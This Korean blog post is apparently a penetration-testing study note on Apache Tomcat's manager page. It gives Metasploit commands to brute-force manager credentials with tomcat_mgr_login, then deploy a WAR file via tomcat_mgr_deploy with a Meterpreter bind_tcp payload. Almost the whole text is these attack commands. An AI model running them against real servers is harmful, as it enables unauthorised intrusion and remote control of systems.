본문 바로가기
3. 웹 애플리케이션 취약점 진단

Apache Tomcat 관리자 페이지 취약점 악용 - Metasploit

by Robert8478 2023. 12. 28.

톰캣에서 [서버주소]:[서버포트]/manager/html 로 접속하게 되면 관리자 페이지 로그인 아이디와 비밀번호
입력 알림창이 뜬다. 이 상태에서 칼리에서 msfconsole을 틀어준다.

>service postgresql start
>msfconsole
>search tomcat
>use auxiliary/scanner/http/tomcat_mgr_login - mgr, 즉 매니저 로그인 취약점을 통해 아이디 비번을 알아낸다.
>show options
>set rhosts [서버아이피]
>set rport [서버포트]
>exploit

익스플로잇 후 성공한 목록의 아이디 비밀번호로 접속한다.
그 후 WAR file to deploy 탭을 활용한 취약점 해킹을 시도한다.

>back
>clear
>search tomcat
>use exploit/multi/http/tomcat_mgr_deploy - tomcat의 deploy 취약점을 이용한 해킹 시도
>show options
>set password [관리자 비번(매니저 비번)]
>set rhost [서버아이피]
>set rport [서버포트]
>set username [관리자 아디]
>show payloads
>set payload java/meterpreter/bind_tcp - 자바 미터프리터의 bind tcp 페이로드를 사용한다.
>show options
>exploit